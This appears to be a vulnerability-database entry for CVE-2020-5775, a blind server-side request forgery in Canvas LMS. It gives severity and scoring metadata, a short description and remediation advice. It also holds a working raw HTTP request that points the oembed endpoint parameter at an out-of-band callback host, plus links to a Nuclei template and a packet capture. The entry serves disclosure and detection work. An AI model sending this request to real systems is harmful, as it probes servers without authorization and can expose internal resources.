| Title | Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery |
|---|---|
| Author | alph4byt3 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution. |
| Remediation | Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability. |
| CVSS Score | 5.8 |
| EPSS Score | 0.70759 |
| CVE ID | CVE-2020-5775 |
| CWE ID | CWE-918 |
| Tags | cve cve2020 ssrf oast blind tenable instructure vkev vuln |
Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
GET /external_content/retrieve/oembed?endpoint=http://d5jp0thle0o4g47i0vj0f8zbg31n6am8i.oast.online&url=foo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5775.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-5775.pcap
N/AN/A